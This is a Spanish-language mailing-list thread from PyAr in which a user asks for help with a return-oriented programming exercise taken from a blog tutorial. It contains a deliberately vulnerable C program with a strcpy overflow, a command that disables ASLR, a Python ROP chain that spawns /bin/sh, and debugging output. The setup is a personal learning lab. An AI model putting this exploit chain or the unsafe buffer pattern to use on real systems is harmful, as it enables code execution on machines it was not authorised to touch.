[pyar] ¿Hay alguna forma de forzar a python para que funcione en 32 bits?

Alberto Perez ksian1685 en gmail.com
Mie Ago 19 13:21:03 ART 2015


Me parece que el error esta en cómo confeccioné el exploit, porque tanto si
lo ejecuto así:
notebook en debian:~/Laboratorio/ROP$ ./test2 `./test2.py`
hola
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�/bin�����
Violación de segmento
noteboook en debian:~/Laboratorio/ROP$

como así:
notebook en debian:~/Laboratorio/ROP$ sudo execstack -s ./test1 `./test1.py`
execstack: cannot open
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM":
Nombre de fichero demasiado largo
execstack: cannot open /bin*�@=�": No existe el fichero o el directorio
execstack: cannot open M": No existe el fichero o el directorio
execstack: cannot open sh#*�D=�": No existe el fichero o el directorio
execstack: cannot open *�G�z
                           =�": No existe el fichero o el directorio
execstack: cannot open Q�G�@�*�G�z

�####�####�####�####�####�####�####�####�####�####�####��": No existe el
fichero o el directorio
notebook en debian:~/Laboratorio/ROP$
Me tira error.


El 19 de agosto de 2015, 8:39, Alberto Perez <ksian1685 en gmail.com> escribió:

> Falcon,
>
> 1-Me tira un mensaje de violación de segmento.
>
> 2-Lo complilé con -fno-stack-protector
>
> 3-casualmente también me dio 262 bytes.
>
> Sé que no es un tema específico de la lista, así que gracias por el
> internes.
>
>
> El 18 de agosto de 2015, 19:52, Francisco Falcon <fdfalcon en gmail.com>
> escribió:
>
>> Hola,
>>
>> La versión de Python de 64 bits no debería influir en este caso, lo más
>> probable es que el problema venga por otro lado.
>>
>> Algunas preguntas para tratar de aislar el problema:
>>  * Qué significa exactamente que "el exploit no funciona"? El programa
>> vulnerable crashea sin darte la shell? Lo debuggeaste con gdb para ver
>> dónde crashea?
>>  * Compilaste el programa vulnerable con -fno-stack-protector?
>>  * Iba a preguntar si acomodaste las direcciones de los ROP gadgets para
>> tu binario en particular, pero parece que sí lo hiciste.
>>  * Te fijaste que, en tu binario en particular, el stack frame de la
>> función saluda() también tenga 262 bytes de distancia entre el array
>> nombre[] y la dirección de retorno guardada en el stack?
>>
>> Saludos
>>
>> 2015-08-17 22:45 GMT-03:00 Alberto Perez <ksian1685 en gmail.com>:
>>
>>> Gracias por contestar. De todos modos, el autor del blog donde estaban
>>> als instrucciones me aclaró que posiblemente en 64 bits existan otros tipo
>>> de problemas. Así que lo probaré más adelante en una maquina virtual
>>>
>>> El 17 de agosto de 2015, 15:19, Joaquin Duo <joaduo en gmail.com> escribió:
>>>
>>>> En linux podés instalar un entorno de 32 bits (dentro de un OS de
>>>> 64bits)
>>>>
>>>>
>>>> http://askubuntu.com/questions/297151/how-to-run-32-bit-programs-on-a-64-bit-system
>>>>
>>>> En este caso creo que deberías poder instalar el paquete de python de
>>>> 32 bits y correr ese python.
>>>> Te respondo la generalidad porque no lo he hecho, pero obviamente se
>>>> puede (porque cualquier programa de 32bits puede correr, por ejemplo el
>>>> skype)
>>>>
>>>> Vas a tener que buscar en internet cómo instalar paquetes de 32bits,
>>>> seguro que sale
>>>>
>>>> Saludos!
>>>> Joaquín
>>>>
>>>>
>>>> 2015-08-16 21:22 GMT-03:00 Alberto Perez <ksian1685 en gmail.com>:
>>>>
>>>>> No estoy seguro que tenga que ver con python, pero seguro ustedes sí.
>>>>> Resulta que estaba siguiendo las instrucciones de un blogger: (
>>>>> http://www.ellaberintodefalken.com/2013/08/ROP-Return-Oriented-Programming.html
>>>>> )
>>>>> 1-hice el código en c (que compilé agregando gcc -m32 porque lo estoy
>>>>> ejecutando en una maquina de 32 bits):
>>>>>
>>>>> #include <stdio.h>
>>>>> #include <string.h>
>>>>>
>>>>> void saluda (char * texto){
>>>>>     char nombre[250];
>>>>>     strcpy(nombre, texto);
>>>>>     printf("hola %s\n", nombre);
>>>>> }
>>>>>
>>>>> int main (int argc, char **argv){
>>>>>     saluda(argv[1]);
>>>>>     return 0;
>>>>> }
>>>>>
>>>>> 2- modifiqué la configuracion de mi computadora:
>>>>> echo "0" > /proc/sys/kernel/randomize_va_space
>>>>>
>>>>> 3-hice el exploit en python:
>>>>>
>>>>> from struct import pack
>>>>>
>>>>>
>>>>> ex = 'A'*262
>>>>> ex += pack('I',0x080e1db9) #pop %eax
>>>>> ex += '/bin'
>>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>>> ex += pack('I',0x080e99a0) #.data
>>>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>>>> ex += pack('I',0x080e1db9) #pop %eax
>>>>> ex += '/sh#'
>>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>>> ex += pack('I',0x080e99a4) #.data+4
>>>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>>> ex += pack('I',0x080e99a7) #.data+7
>>>>> ex += pack('I',0x080b7c20) #xor %eax,%eax
>>>>> ex += pack('I',0x08099fad) #mov %eax,(%edx)
>>>>> ex += pack('I',0x0806e3c1) #pop %ecx; pop %ebx
>>>>> ex += pack('I',0x080e99a7) #.data+7
>>>>> ex += pack('I',0x080e99a0) #.data
>>>>> ex += pack('I',0x0806e39a) #pop %edx
>>>>> ex += pack('I',0x080e99a7) #.data+7
>>>>> ex += pack('I',0x080b7c20) #xor %eax,%eax
>>>>> for i in range(int("0xb",16)):
>>>>>         ex += pack('I',0x0805c5fc) #inc %eax;pop %edi
>>>>>         ex += '####'
>>>>>
>>>>> ex += pack('I',0x806ea30) #int 0x80
>>>>>
>>>>> print ex
>>>>>
>>>>> resulta que no funciona y se me ocurre que puede ser porque estoy
>>>>> usando python de arquitectura de 64 bits. ¿Hay alguna forma de forzar a
>>>>> python para que funcione en 32 bits?
>>>>> gracias.
>>>>>
>>>>>
>>>>>
>>>>> _______________________________________________
>>>>> pyar mailing list pyar en python.org.ar
>>>>> http://listas.python.org.ar/listinfo/pyar
>>>>>
>>>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>>>
>>>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>>>>> Argentina - http://www.usla.org.ar
>>>>>
>>>>
>>>>
>>>> _______________________________________________
>>>> pyar mailing list pyar en python.org.ar
>>>> http://listas.python.org.ar/listinfo/pyar
>>>>
>>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>>
>>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>>>> Argentina - http://www.usla.org.ar
>>>>
>>>
>>>
>>> _______________________________________________
>>> pyar mailing list pyar en python.org.ar
>>> http://listas.python.org.ar/listinfo/pyar
>>>
>>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>>
>>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>>> Argentina - http://www.usla.org.ar
>>>
>>
>>
>> _______________________________________________
>> pyar mailing list pyar en python.org.ar
>> http://listas.python.org.ar/listinfo/pyar
>>
>> PyAr - Python Argentina - Sitio web: http://www.python.org.ar/
>>
>> La lista de PyAr esta Hosteada en USLA - Usuarios de Software Libre de
>> Argentina - http://www.usla.org.ar
>>
>
>
------------ próxima parte ------------
Se ha borrado un adjunto en formato HTML...
URL: <http://listas.python.org.ar/pipermail/pyar/attachments/20150819/8503b3f9/attachment.html>


More information about the pyar mailing list